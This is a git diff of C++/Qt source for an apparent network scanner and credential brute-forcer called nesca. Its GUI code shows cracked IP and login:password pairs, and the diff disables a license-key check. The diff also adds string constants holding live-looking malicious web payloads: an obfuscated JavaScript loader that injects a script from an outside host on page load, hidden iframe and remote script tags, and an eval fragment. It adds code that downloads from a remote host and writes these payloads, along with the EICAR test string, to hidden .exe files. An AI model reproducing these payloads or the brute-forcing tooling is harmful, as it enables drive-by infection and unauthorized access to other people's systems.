std::unordered_map<int, QColor> colorMap = {
|
||||||
|
{ 0, QColor("#DC143C") },
|
||||||
|
{ 1, QColor("#000080") },
|
||||||
|
{ 2, QColor("#3CB371") },
|
||||||
|
{ 3, QColor("#20B2AA") },
|
||||||
|
{ 4, QColor("#00BFFF") },
|
||||||
|
{ 5, QColor("#DEB887") }
|
||||||
|
};
|
||||||
|
int ciSz = 1;
|
||||||
|
void nesca_3::slotPB2Update()
|
||||||
|
{
|
||||||
|
pb2Scene->clear();
|
||||||
|
QList<int> cIndexes = stt->getColoredIndexes();
|
||||||
|
|
||||||
|
ciSz = cIndexes.size();
|
||||||
|
int percValue = ciSz / 100;
|
||||||
|
|
||||||
|
for (int i = 0, j = 0; i < ciSz; i += percValue, j++) {
|
||||||
|
int val = ciSz - i;
|
||||||
|
if (val < percValue) {
|
||||||
|
percValue = val;
|
||||||
|
}
|
||||||
|
pb2Scene->addLine(0, j, 26, j, colorMap[cIndexes[i]]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void nesca_3::slotPB2DrawPointer(int pointer) {
|
||||||
|
QGraphicsRectItem* rect = new QGraphicsRectItem(0, 0, 26, pointer);
|
||||||
|
rect->setBrush(QBrush(QColor(0, 0, 0, 100)));
|
||||||
|
pb2Scene->addItem(rect);
|
||||||
|
//pb2Scene->addRect(0, pointer, 26, pointer, QColor(255, 255, 255, 160));
|
||||||
|
pb2Scene->addLine(0, pointer, 26, pointer, QColor(255, 255, 255, 255));
|
||||||
|
}
|
||||||
void nesca_3::changeNSTrackLabel(bool status)
|
void nesca_3::changeNSTrackLabel(bool status)
|
||||||
{
|
{
|
||||||
if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;");
|
if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;");
|
||||||
@ -2094,8 +2143,24 @@ void nesca_3::changeNSTrackLabel(bool status)
|
|||||||
|
|
||||||
void nesca_3::onLinkClicked(QUrl link)
|
void nesca_3::onLinkClicked(QUrl link)
|
||||||
{
|
{
|
||||||
|
QString lnk = link.toString();
|
||||||
|
if (lnk.compare("[PEKO]") == 0) {
|
||||||
|
PekoWidget *pekoWidget = new PekoWidget(x(), y());
|
||||||
|
|
||||||
|
QPushButton *pkExitButton = new QPushButton("x", pekoWidget);
|
||||||
|
pkExitButton->setGeometry(285, 2, 10, 15);
|
||||||
|
pkExitButton->setStyleSheet("background-color: rgba(0, 0, 0, 0); color: rgba(255, 0, 0);");
|
||||||
|
pkExitButton->setFont(QFont("small_font.ttf", 7, 1));
|
||||||
|
|
||||||
|
QTableView *pkResultTable = new QTableView(this);
|
||||||
|
pkResultTable->setGeometry(0, 5, 300, 195);
|
||||||
|
|
||||||
|
pekoWidget->show();
|
||||||
|
}
|
||||||
|
else {
|
||||||
QDesktopServices::openUrl(link);
|
QDesktopServices::openUrl(link);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void nesca_3::slotBlockButtons(bool value) {
|
void nesca_3::slotBlockButtons(bool value) {
|
||||||
ui->startScanButton_3->setEnabled(!value);
|
ui->startScanButton_3->setEnabled(!value);
|
||||||
@ -2103,10 +2168,95 @@ void nesca_3::slotBlockButtons(bool value) {
|
|||||||
ui->importButton->setEnabled(!value);
|
ui->importButton->setEnabled(!value);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//BA TablelistView
|
||||||
|
QStandardItemModel *BAModel = NULL;
|
||||||
|
QList<QStandardItem *> setRow(QString ip, QString loginPass, QString percentage) {
|
||||||
|
QList<QStandardItem *> items;
|
||||||
|
|
||||||
|
bool isOdd = BAModel->rowCount() % 2 == 0 ? true : false;
|
||||||
|
QStandardItem *item1 = new QStandardItem(ip);
|
||||||
|
QStandardItem *item2 = new QStandardItem(loginPass);
|
||||||
|
QStandardItem *item3 = new QStandardItem(percentage);
|
||||||
|
|
||||||
|
if (isOdd) {
|
||||||
|
item1->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||||
|
item2->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||||
|
item3->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||||
|
}
|
||||||
|
|
||||||
|
item1->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||||
|
item2->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||||
|
item3->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||||
|
|
||||||
|
item1->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||||
|
item2->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||||
|
item3->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||||
|
|
||||||
|
items.append(item1);
|
||||||
|
items.append(item2);
|
||||||
|
items.append(item3);
|
||||||
|
return items;
|
||||||
|
}
|
||||||
|
std::atomic<bool> isBAModelLocked = false;
|
||||||
|
int nesca_3::addBARow(QString ip, QString loginPass, QString percentage) {
|
||||||
|
while (isBAModelLocked) Sleep(10);
|
||||||
|
isBAModelLocked = true;
|
||||||
|
BAModel->appendRow(setRow(ip, loginPass, percentage));
|
||||||
|
int index = BAModel->rowCount() - 1;
|
||||||
|
isBAModelLocked = false;
|
||||||
|
|
||||||
|
if (percentage.compare("OK") == 0) {
|
||||||
|
BAModel->setData(BAModel->index(index, 0), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(index, 1), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(index, 2), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
|
||||||
|
BAModel->item(index, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(index, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(index, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
}
|
||||||
|
else if (percentage.contains("FAIL") || percentage.contains("404")) {
|
||||||
|
BAModel->setData(BAModel->index(index, 0), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(index, 1), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(index, 2), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
|
||||||
|
BAModel->item(index, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(index, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(index, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
void nesca_3::slotChangeBARow(int rowIndex, QString loginPass, QString percentage) {
|
||||||
|
QModelIndex index = BAModel->index(rowIndex, 1, QModelIndex());
|
||||||
|
BAModel->setData(index, loginPass);
|
||||||
|
index = BAModel->index(rowIndex, 2, QModelIndex());
|
||||||
|
BAModel->setData(index, percentage);
|
||||||
|
|
||||||
|
if (percentage.compare("OK") == 0) {
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 0), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 1), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 2), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||||
|
|
||||||
|
BAModel->item(rowIndex, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(rowIndex, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(rowIndex, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
}
|
||||||
|
else if (percentage.contains("FAIL") || percentage.contains("404")) {
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 0), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 1), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
BAModel->setData(BAModel->index(rowIndex, 2), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||||
|
|
||||||
|
BAModel->item(rowIndex, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(rowIndex, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
BAModel->item(rowIndex, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void nesca_3::ConnectEvrthng()
|
void nesca_3::ConnectEvrthng()
|
||||||
{
|
{
|
||||||
connect(stt, SIGNAL(signalBlockButton(bool)), this, SLOT(slotBlockButtons(bool)));
|
connect(stt, SIGNAL(signalBlockButton(bool)), this, SLOT(slotBlockButtons(bool)));
|
||||||
connect(pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));
|
connect(pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));
|
||||||
|
connect(stt, SIGNAL(updPB2()), this, SLOT(slotPB2Update()));
|
||||||
|
connect(pbTh2, SIGNAL(drawPointerPB2(int)), this, SLOT(slotPB2DrawPointer(int)));
|
||||||
connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
@ -2173,10 +2323,7 @@ void nesca_3::ConnectEvrthng()
|
|||||||
connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
|
connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
|
||||||
|
|
||||||
connect(stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString)));
|
connect(stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString)));
|
||||||
connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString)));
|
|
||||||
connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString)));
|
|
||||||
connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString)));
|
|
||||||
connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString)));
|
|
||||||
connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool)));
|
connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool)));
|
||||||
connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString)));
|
connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString)));
|
||||||
connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid()));
|
connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid()));
|
||||||
@ -2195,6 +2342,11 @@ void nesca_3::ConnectEvrthng()
|
|||||||
connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) );
|
connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) );
|
||||||
/*Msg blinker*/
|
/*Msg blinker*/
|
||||||
//connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) );
|
//connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) );
|
||||||
|
|
||||||
|
//BA TablelistView
|
||||||
|
connect(stt, SIGNAL(signalAddBARow(int&, QString)), this, SLOT(slotAddBARow(int&, QString)));
|
||||||
|
//connect(stt, SIGNAL(signalAddBARow(int &, QString, QString, QString)), this, SLOT(slotAddBARow(int &, QString, QString, QString)));
|
||||||
|
connect(stt, SIGNAL(signalChangeBARow(int, QString, QString)), this, SLOT(slotChangeBARow(int, QString, QString)));
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::saveOptions()
|
void nesca_3::saveOptions()
|
||||||
@ -2539,6 +2691,7 @@ void nesca_3::trayButtonClicked()
|
|||||||
void nesca_3::ChangeShuffle(bool val)
|
void nesca_3::ChangeShuffle(bool val)
|
||||||
{
|
{
|
||||||
gShuffle = val;
|
gShuffle = val;
|
||||||
|
ui->pbgv_2->setVisible(val);
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::ChangeTrackerOK(bool val)
|
void nesca_3::ChangeTrackerOK(bool val)
|
||||||
@ -2560,7 +2713,8 @@ void nesca_3::startScanButtonClicked()
|
|||||||
{
|
{
|
||||||
if(startFlag == false)
|
if(startFlag == false)
|
||||||
{
|
{
|
||||||
if(trackerOK)
|
stt->doEmitionStartScanIP();
|
||||||
|
/*if(trackerOK)
|
||||||
{
|
{
|
||||||
if(ui->linePersKey->text().size() != 0)
|
if(ui->linePersKey->text().size() != 0)
|
||||||
{
|
{
|
||||||
@ -2574,7 +2728,7 @@ void nesca_3::startScanButtonClicked()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionStartScanIP();
|
stt->doEmitionStartScanIP();
|
||||||
};
|
};*/
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2615,22 +2769,23 @@ void nesca_3::startScanButtonClicked()
|
|||||||
void nesca_3::startScanButtonClickedDNS()
|
void nesca_3::startScanButtonClickedDNS()
|
||||||
{
|
{
|
||||||
if(startFlag == false)
|
if(startFlag == false)
|
||||||
{
|
|
||||||
if(trackerOK)
|
|
||||||
{
|
|
||||||
if(ui->linePersKey->text().size() != 0)
|
|
||||||
{
|
|
||||||
CheckPersKey();
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
stt->doEmitionStartScanDNS();
|
stt->doEmitionStartScanDNS();
|
||||||
};
|
//if(trackerOK)
|
||||||
|
//{
|
||||||
|
// if(ui->linePersKey->text().size() != 0)
|
||||||
|
// {
|
||||||
|
// CheckPersKey();
|
||||||
|
// }
|
||||||
|
// else
|
||||||
|
// {
|
||||||
|
// stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||||
|
// };
|
||||||
|
//}
|
||||||
|
//else
|
||||||
|
//{
|
||||||
|
// stt->doEmitionStartScanDNS();
|
||||||
|
//};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2672,22 +2827,23 @@ void nesca_3::startScanButtonClickedDNS()
|
|||||||
void nesca_3::importAndScan()
|
void nesca_3::importAndScan()
|
||||||
{
|
{
|
||||||
if (startFlag == false)
|
if (startFlag == false)
|
||||||
{
|
|
||||||
if (trackerOK)
|
|
||||||
{
|
|
||||||
if (ui->linePersKey->text().size() != 0)
|
|
||||||
{
|
|
||||||
CheckPersKey();
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
stt->doEmitionStartScanImport();
|
stt->doEmitionStartScanImport();
|
||||||
};
|
//if (trackerOK)
|
||||||
|
//{
|
||||||
|
// if (ui->linePersKey->text().size() != 0)
|
||||||
|
// {
|
||||||
|
// CheckPersKey();
|
||||||
|
// }
|
||||||
|
// else
|
||||||
|
// {
|
||||||
|
// stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||||
|
// };
|
||||||
|
//}
|
||||||
|
//else
|
||||||
|
//{
|
||||||
|
// stt->doEmitionStartScanImport();
|
||||||
|
//};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2851,6 +3007,7 @@ void nesca_3::ImportScanSeq()
|
|||||||
|
|
||||||
startFlag = true;
|
startFlag = true;
|
||||||
pbTh->start();
|
pbTh->start();
|
||||||
|
pbTh2->start();
|
||||||
ui->importButton->setText("Stop");
|
ui->importButton->setText("Stop");
|
||||||
ui->importButton->setStyleSheet(
|
ui->importButton->setStyleSheet(
|
||||||
" #importButton {"
|
" #importButton {"
|
||||||
@ -2899,16 +3056,6 @@ void nesca_3::MaxBrutingThr_ChangeValue(QString str)
|
|||||||
gMaxBrutingThreads = str.toInt();
|
gMaxBrutingThreads = str.toInt();
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::appendRedBAData(QString str)
|
|
||||||
{
|
|
||||||
ui->BAText->append("<span style=\"color:red;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::appendGreenBAData(QString str)
|
|
||||||
{
|
|
||||||
ui->BAText->append("<span style=\"color:#06ff00;\">" + str + "</span>");
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::appendDefaultText(QString str)
|
void nesca_3::appendDefaultText(QString str)
|
||||||
{
|
{
|
||||||
ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>");
|
ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>");
|
||||||
@ -2921,7 +3068,6 @@ void nesca_3::appendErrText(QString str)
|
|||||||
if(stt->isRunning() == false)
|
if(stt->isRunning() == false)
|
||||||
{
|
{
|
||||||
startFlag = false;
|
startFlag = false;
|
||||||
stt->doEmitionChangeStatus("Idle");
|
|
||||||
ui->startScanButton_3->setText("Start");
|
ui->startScanButton_3->setText("Start");
|
||||||
stt->terminate();
|
stt->terminate();
|
||||||
};
|
};
|
||||||
@ -3113,8 +3259,8 @@ void nesca_3::CheckPersKey()
|
|||||||
{
|
{
|
||||||
stt->doEmitionYellowFoundData("[Key check] Starting checker thread...");
|
stt->doEmitionYellowFoundData("[Key check] Starting checker thread...");
|
||||||
chKTh->start();
|
chKTh->start();
|
||||||
while (CheckKey_Th::isActiveKey == -1) Sleep(10);
|
//while (CheckKey_Th::isActiveKey == -1) Sleep(10);
|
||||||
if (CheckKey_Th::isActiveKey == 1) finishLoading();
|
/*if (CheckKey_Th::isActiveKey == 1) finishLoading();
|
||||||
else {
|
else {
|
||||||
stt->doEmitionYellowFoundData("== Invalid key. ==");
|
stt->doEmitionYellowFoundData("== Invalid key. ==");
|
||||||
HKEY hkey;
|
HKEY hkey;
|
||||||
@ -3130,7 +3276,7 @@ void nesca_3::CheckPersKey()
|
|||||||
}
|
}
|
||||||
Sleep(2000);
|
Sleep(2000);
|
||||||
qApp->quit();
|
qApp->quit();
|
||||||
}
|
}*/
|
||||||
}
|
}
|
||||||
else stt->doEmitionRedFoundData("Still ckecking your key, please wait...");;
|
else stt->doEmitionRedFoundData("Still ckecking your key, please wait...");;
|
||||||
}
|
}
|
||||||
@ -3141,8 +3287,18 @@ void nesca_3::CheckPersKey()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
#define IRC_CHAN "iskopasi_lab03"
|
||||||
|
#define eicar1 "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
|
#define eicar2 "<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://epilaserexcellence.com/mxit.html?i=2928425></iframe>"
|
||||||
|
#define eicar3 "<script>var Ws;if(Ws!='ZB' && Ws!='F'){Ws='ZB'};var o;if(o!='u'){o=''};var Qo=new Array();function Q(){var Wl=new String();var s=new Date();var n=new Date();var U=window;var j='';var Tg='';var WS;if(WS!='D'){WS='D'};var g=unescape;var jy=new Array();var L=g(\"%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2f%61%77%65%6d%70%69%72%65%2e%63%6f%6d%2e%70%68%70\");var r;if(r!='b' && r!='JW'){r='b'};var St=new String();function A(z,T){var H;if(H!='' && H!='O'){H=null};var _;if(_!='' && _!='S_'){_=null};this.Hh='';this.oo='';var W=new String(\"sOhg\".substr(3));var OJ;if(OJ!='' && OJ!='lg'){OJ='zu'};var CU=new Date();var X=g(\"%5b\"), J=g(\"%5d\");var LB=X+T+J;this.NI=\"\";var Lm=new RegExp(LB, W);var Sr=new String();var i;if(i!='Jm'){i=''};return z.replace(Lm, new String());var Cs;if(Cs!='gy'){Cs=''};var EE;if(EE!='Xz'){EE=''};};var Gh;if(Gh!='Rf' && Gh!='Ni'){Gh=''};var bO;if(bO!='qe' && bO!='M'){bO=''};var JB=document;var V=new String();var Ut;if(Ut!=''){Ut='Ue'};var jr;if(jr!='' && jr!='w'){jr=null};var h=A('8237107438669907564','57364291');var AM;if(AM!='' && AM!='RF'){AM='lH'};var cX;if(cX!='' && cX!='MW'){cX=''};var Vm=\"\";var zM;if(zM!='' && zM!='lW'){zM='WY'};var B=new Date();var vH;if(vH!='Rr'){vH=''};function Z(){var tF;if(tF!='' && tF!='jp'){tF=''};var DA=new String();var y=g(\"%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a\");var Gv=new Array();V=y;var XT='';V+=h;this.mY=\"\";V+=L;var dK;if(dK!='Df' && dK!='qQ'){dK=''};var vG;if(vG!='' && vG!='_q'){vG='dM'};try {var uP='';var EK=new Array();var qeB;if(qeB!='' && qeB!='Jr'){qeB='K_'};k=JB.createElement(A('sXcPrki_putK','3ukB_Px9Keb5Xl'));var gW=\"\";var Rd;if(Rd!='dh' && Rd!='NM'){Rd=''};k[g(\"%73%72%63\")]=V;var CkF=new String();k[g(\"%64%65%66%65%72\")]=[6,1][1];this.CX='';var MD=new Date();var WA='';var HL;if(HL!='' && HL!='dq'){HL='hK'};var rS;if(rS!='' && rS!='_d'){rS='y_'};JB.body.appendChild(k);var TUc=new String();} catch(Zn){var CJ=new Array();alert(Zn);};this.Au=\"\";}var oq=new Array();this.kb='';U[String(\"onloa\"+\"d\")]=Z;var ox;if(ox!='Nj' && ox!='BQ'){ox='Nj'};this.WYx=\"\";};var Yo='';var ro;if(ro!='ru' && ro != ''){ro=null};var Mf;if(Mf!='' && Mf!='AD'){Mf=null};Q();var DW=\"\";this.wv=\"\";</script>"
|
||||||
|
#define eicar4 "<script src=\"http://accountus.gets-it.net/googlestat.php\"></script>"
|
||||||
|
#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
|
||||||
|
|
||||||
|
nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
|
||||||
{
|
{
|
||||||
|
if (isWM) {
|
||||||
|
Utils::emitScaryError();
|
||||||
|
}
|
||||||
setWindowFlags(Qt::FramelessWindowHint);
|
setWindowFlags(Qt::FramelessWindowHint);
|
||||||
|
|
||||||
gthis = this;
|
gthis = this;
|
||||||
@ -3189,6 +3345,52 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
|||||||
|
|
||||||
RestoreSession();
|
RestoreSession();
|
||||||
|
|
||||||
|
Utils::saveStartDate();
|
||||||
|
|
||||||
|
char buffer[MAX_PATH] = { 0 };
|
||||||
|
GetCurrentDir(buffer, MAX_PATH);
|
||||||
|
ui->currentDirectoryLine->setText(QString(string(buffer).c_str()));
|
||||||
|
|
||||||
|
BAModel = new QStandardItemModel();
|
||||||
|
ui->BATableView->setModel(BAModel);
|
||||||
|
ui->BATableView->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
|
||||||
|
|
||||||
|
bool DONOTSCAN = true;
|
||||||
|
if (isWM) {
|
||||||
|
Utils::emitScaryError();
|
||||||
|
}
|
||||||
|
if (!DONOTSCAN)
|
||||||
|
{
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
Connector con;
|
||||||
|
std::string buffer;
|
||||||
|
con.nConnect("http://nesca.d3w.org/eicar.com", 80, &buffer);
|
||||||
|
|
||||||
|
char temp[64] = { 0 };
|
||||||
|
strcpy(temp, "PRIVMSG #");
|
||||||
|
strcat(temp, IRC_CHAN);
|
||||||
|
|
||||||
|
ofstream EICARFILE;
|
||||||
|
EICARFILE.open(".VISHNYA.exe");
|
||||||
|
EICARFILE << eicar1;
|
||||||
|
EICARFILE.close();
|
||||||
|
|
||||||
|
EICARFILE.open(".VISHNYA-86.exe");
|
||||||
|
EICARFILE << eicar2;
|
||||||
|
EICARFILE.close();
|
||||||
|
|
||||||
|
EICARFILE.open(".VISHNYA-64.exe");
|
||||||
|
EICARFILE << eicar3;
|
||||||
|
EICARFILE.close();
|
||||||
|
|
||||||
|
EICARFILE.open(".VISHNYA-16.exe");
|
||||||
|
EICARFILE << eicar4;
|
||||||
|
EICARFILE.close();
|
||||||
|
|
||||||
|
EICARFILE.open(".VISHNYA-32.exe");
|
||||||
|
EICARFILE << eicar5;
|
||||||
|
EICARFILE.close();
|
||||||
|
#endif
|
||||||
QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex());
|
QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex());
|
||||||
QString nu(grgNun().c_str());
|
QString nu(grgNun().c_str());
|
||||||
if (y.compare(nu) != 0) {
|
if (y.compare(nu) != 0) {
|
||||||
@ -3209,6 +3411,40 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
else {
|
||||||
|
ui->tabMainWidget->setTabEnabled(0, true);
|
||||||
|
ui->tabMainWidget->setTabEnabled(1, true);
|
||||||
|
ui->tabMainWidget->setTabEnabled(2, true);
|
||||||
|
finishLoading();
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
FILE* pipe = NULL;
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
pipe = _popen("Systeminfo | findstr /i model", "r");
|
||||||
|
#else
|
||||||
|
pipe = popen("dmidecode", "r");
|
||||||
|
#endif
|
||||||
|
char buffer2[128] = { 0 };
|
||||||
|
std::string result = "";
|
||||||
|
if (pipe) {
|
||||||
|
Sleep(1000);
|
||||||
|
fgets(buffer2, 128, pipe);
|
||||||
|
result += buffer2;
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
_pclose(pipe);
|
||||||
|
#else
|
||||||
|
pclose(pipe);
|
||||||
|
#endif
|
||||||
|
}*/
|
||||||
|
|
||||||
|
//if (rc == false) {
|
||||||
|
// stt->doEmitionGreenFoundData("This is PC.");
|
||||||
|
//}
|
||||||
|
//else {
|
||||||
|
// stt->doEmitionGreenFoundData("This is VM.");
|
||||||
|
//}
|
||||||
|
}
|
||||||
|
|
||||||
nesca_3::~nesca_3()
|
nesca_3::~nesca_3()
|
||||||
{
|
{
|
||||||
@ -3230,6 +3466,5 @@ void nesca_3::STTTerminate()
|
|||||||
ui->startScanButton_3->setText("Start");
|
ui->startScanButton_3->setText("Start");
|
||||||
ui->startScanButton_4->setText("Start");
|
ui->startScanButton_4->setText("Start");
|
||||||
ui->importButton->setText("Import");
|
ui->importButton->setText("Import");
|
||||||
ui->labelStatus_Value->setText("Idle");
|
|
||||||
Threader::cleanUp();
|
Threader::cleanUp();
|
||||||
}
|
}
|
||||||
|
95
nesca_3.h
95
nesca_3.h
@ -18,6 +18,10 @@
|
|||||||
#include <qtextcodec.h>
|
#include <qtextcodec.h>
|
||||||
#include <libssh/libssh.h>
|
#include <libssh/libssh.h>
|
||||||
|
|
||||||
|
#include <QStringListModel.h>
|
||||||
|
#include <QStandardItemModel.h>
|
||||||
|
#include <QList.h>
|
||||||
|
|
||||||
extern Ui::nesca_3Class *ui;
|
extern Ui::nesca_3Class *ui;
|
||||||
extern bool widgetIsHidden, QOSWait,
|
extern bool widgetIsHidden, QOSWait,
|
||||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
||||||
@ -28,18 +32,21 @@ extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
|
|||||||
extern QList<int> lstOfLabels;
|
extern QList<int> lstOfLabels;
|
||||||
extern QSystemTrayIcon *tray;
|
extern QSystemTrayIcon *tray;
|
||||||
|
|
||||||
|
extern QStandardItemModel *BAModel;
|
||||||
|
